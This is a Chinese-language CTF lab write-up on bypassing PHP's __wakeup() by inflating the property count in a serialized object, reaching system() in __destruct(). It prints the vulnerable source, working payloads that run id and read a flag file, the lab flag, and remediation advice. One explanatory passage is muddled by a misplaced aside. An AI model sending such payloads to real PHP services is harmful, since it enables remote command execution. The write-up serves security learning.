【好靶场】PHP反序列化绕过

【好靶场】PHP反序列化绕过

  • [【好靶场】PHP反序列化绕过:__wakeup 绕过与命令执行](#【好靶场】PHP反序列化绕过:__wakeup 绕过与命令执行)

【好靶场】PHP反序列化绕过:__wakeup 绕过与命令执行

本文仅用于授权靶场、CTF 练习和本地安全学习。


前置知识

学习本题前,需要先理解几个点。本文涉及的本地检测环境为 PHP 7.3.4;实际绕过效果以授权靶场页面回显为准,因为 __wakeup() 属性数量绕过和 PHP 版本有关。

这里的 __wakeup() 绕过和 PHP 版本有关,核心原因是 PHP 早期在处理反序列化对象时,如果序列化字符串中声明的属性数量大于实际属性数量,可能会导致 __wakeup() 没有被正常调用。

常见结论如下:

PHP 版本 是否容易触发属性数量绕过 __wakeup()
PHP 5.x 常见可绕过
PHP 7.0.x 早期版本 常见可绕过
PHP 7.1+ 大多已修复,通常无法再用该方式绕过
PHP 7.3.4 本机测试不可用
PHP 8.x 通常不可用

1. unserialize() 会还原对象

PHP 反序列化时,如果序列化字符串中包含对象,PHP 会尝试按照类名还原对象和属性。

示例对象序列化格式:

text 复制代码
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}

含义:

  • O:Object,对象;
  • 12:类名 BypassWakeup 长度为 12;
  • 1:对象属性数量为 1;
  • s:3:"cmd":属性名是 cmd
  • s:2:"id":属性值是 id

2. __wakeup() 的触发时机

__wakeup() 是 PHP 魔术方法,通常会在 unserialize() 反序列化对象时自动触发。

本题中:

php 复制代码
public function __wakeup() {
    $this->cmd = "echo 'waf'";
}

它的作用是把 $cmd 强行改成:

text 复制代码
echo 'waf'

所以如果 __wakeup() 正常执行,我们传入的命令会被覆盖。


3. __destruct() 的触发时机

__destruct() 会在对象销毁时自动触发,通常是脚本执行结束时。

本题中:

php 复制代码
public function __destruct() {
    system($this->cmd);
}

也就是说,只要 $cmd 没有被 __wakeup() 覆盖,最后就会进入 system($this->cmd)


一、题目源码

php 复制代码
<?php 
class BypassWakeup {

    public $cmd = "echo 'ok'";

    public function __wakeup() {
        $this->cmd = "echo 'waf'";
    }

    public function __destruct() {
        system($this->cmd);
    }
}

$ser_data = $_GET['data'];
unserialize($ser_data);
?>

题目要求:Getshell。

但是这题的关键不是反弹 shell,而是先理解:

text 复制代码
可控 data 参数 → unserialize() → 触发魔术方法 → system($cmd)

二、正常 Payload 为什么会失败

如果正常构造 1 个属性:

text 复制代码
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}

执行流程是:

text 复制代码
unserialize()
    ↓
触发 __wakeup()
    ↓
cmd 被改成 echo 'waf'
    ↓
脚本结束触发 __destruct()
    ↓
执行 echo 'waf'

所以正常情况下,即使我们传入 id,也会被 __wakeup() 改掉。


三、绕过思路

老版本 PHP 中存在一个经典特性:

当序列化字符串中声明的对象属性数量大于实际属性数量时,可能导致 __wakeup() 不被正常触发。

正常写法:

text 复制代码
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}

绕过写法:

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}

变化点只有一个:

text 复制代码
BypassWakeup":1

改成:

text 复制代码
BypassWakeup":2

真正存在 2 个属性 的标准序列化字符串

大括号里写两组属性键值对,声明数量和实际数量保持一致(:2:

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";s:4:"test";s:1:"1";}

拆解:

  • :2: → 声明 2 个属性
  • 实际两个属性:cmdtest

声明数量 = 实际属性数量 → __wakeup 正常触发

也就是声明有 2 个属性,但实际只给了 1 个 cmd 属性。

这样 $cmd 就不会被 __wakeup() 改成 echo 'waf',脚本结束时会进入:

php 复制代码
system($this->cmd);

四、验证命令执行

先用无害命令测试:

text 复制代码
id

Payload:

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}

1. 本地 PHP 7.3.4 检测结果

本地检测环境:

text 复制代码
PHP 7.3.4 CLI (NTS MSVC15 x64)
PHP 路径:E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe

正常触发 __wakeup() 的 Payload:

text 复制代码
O:12:"BypassWakeup":1:{s:3:"cmd";s:2:"id";}

本地输出:

text 复制代码
[+] __wakeup 被触发
[+] __destruct 被触发
[+] 即将执行命令:echo 'waf'
'waf'

说明 cmd=id__wakeup() 覆盖成了 echo 'waf'

再测试属性数量异常的 Payload:

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}

本地 PHP 7.3.4 中没有输出 id 结果,说明当前本地版本对这种异常序列化数据不会继续走到可利用的析构执行流程。

这个现象很重要:__wakeup() 绕过和 PHP 版本有关,不能只看本地结果判断靶场一定不可用。


2. 授权靶场页面回显

在题目靶场提交同一个 Payload 后,页面回显:

text 复制代码
收到输入字符串: O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}
uid=33(www-data) gid=33(www-data) groups=33(www-data)
注意:system 命令的输出不会直接在此展示区显示。请关注服务器回显或副作用。

看到 uid=33(www-data),说明命令已经在靶场服务器上执行成功。

这里的提示意思是:system() 的输出不一定单独显示在"反序列化结果"区域里,可能会混在页面响应中。只要页面出现 id 的结果,就说明命令执行成功。


五、字符串长度一定要写对

比如命令:

text 复制代码
echo SAFE_TEST

长度是 14:

text 复制代码
echo = 4
空格 = 1
SAFE_TEST = 9
总长度 = 14

正确 Payload:

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:14:"echo SAFE_TEST";}

如果复制时写成:

text 复制代码
echo SAFE\_TEST

那就多了一个反斜杠,长度变成 15。此时仍然写 s:14,反序列化就会失败。

所以 PHP 反序列化 Payload 有一个非常重要的细节:

text 复制代码
s:长度:"内容"

长度必须和内容严格对应。


六、查找 Flag

直接构造payload

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

获取到flag为

text 复制代码
flag{d09d2ffd683c4e88a0fe18c512602d01}

七、漏洞原理总结

本题的漏洞链路如下:

text 复制代码
用户控制 data 参数
        ↓
服务端直接 unserialize($ser_data)
        ↓
构造异常属性数量绕过 __wakeup()
        ↓
cmd 属性保持用户传入的值
        ↓
对象销毁时触发 __destruct()
        ↓
system($this->cmd) 执行命令

关键点有三个:

  1. data 参数完全可控;
  2. unserialize() 直接处理用户输入;
  3. __destruct() 中存在危险函数 system()

八、修复建议

1. 不要反序列化用户输入

最根本的修复方式是不要把外部可控数据传入 unserialize()

可以改用 JSON:

php 复制代码
$data = json_decode($_GET['data'], true);

但 JSON 解析后也要继续做字段校验,不能直接信任用户输入。


2. 禁止在魔术方法中调用危险函数

不要在 __destruct()__wakeup()__toString() 等魔术方法中直接调用:

php 复制代码
system()
exec()
passthru()
shell_exec()
popen()
proc_open()

魔术方法触发时机隐蔽,一旦对象可控,很容易被利用。


3. 使用类白名单

如果业务必须使用 unserialize(),至少加上类白名单:

php 复制代码
$obj = unserialize($ser_data, [
    'allowed_classes' => ['SafeClass']
]);

但要注意:类白名单只能限制类,不能解决当前类内部危险逻辑的问题。


4. 做签名校验

服务端生成序列化数据时,附带 HMAC 签名。反序列化前先验签:

php 复制代码
$expected = hash_hmac('sha256', $ser_data, $secret);
if (!hash_equals($expected, $_GET['sign'])) {
    exit('invalid data');
}

签名不通过,直接拒绝处理。


总结

本题利用思路可以概括为:

text 复制代码
构造 BypassWakeup 对象
        ↓
把 cmd 改为想执行的命令
        ↓
把属性数量 1 改成 2
        ↓
绕过 __wakeup()
        ↓
等待 __destruct() 调用 system()

最终测试 Payload:

text 复制代码
O:12:"BypassWakeup":2:{s:3:"cmd";s:2:"id";}

这题重点不是"命令本身",而是理解 __wakeup() 为什么会拦截,以及为什么属性数量异常能够绕过它。

相关推荐
孫治AllenSun2 小时前
【系统安全】信息脱敏存储:场景、需求与实现方案详解
安全·系统安全·php
aixingpan4 小时前
aixingpan.cn API开发文档:api_docs_errors接口指南
前端·php
网安蟹佬霸4 小时前
SSRF服务端请求伪造攻防实战:从内网穿透到云元数据利用
sql·web安全·网络安全·自动化·网安
FYKJ_20104 小时前
django学习成绩预警系统10905
java·javascript·spring boot·python·spark·django·php
白猫不黑5 小时前
AI Agent自动化渗透测试实战:从原理到红队实践
运维·人工智能·web安全·网络安全·信息安全·渗透测试·自动化
BingoGo5 小时前
NativePHP v4 让 Blade 构建原生 iOS 与 Android 界面
后端·php
JaguarJack5 小时前
NativePHP v4 让 Blade 构建原生 iOS 与 Android 界面
后端·php·服务端
爱吃苹果的梨叔10 小时前
训练集群网络中断怎么办?智算机房的 Console 串口排障方案
网络·python·智能路由器·php
Rain的Java大神之路16 小时前
短信接口被狂刷怎么处理
java·运维·后端·web安全·面试·架构·xss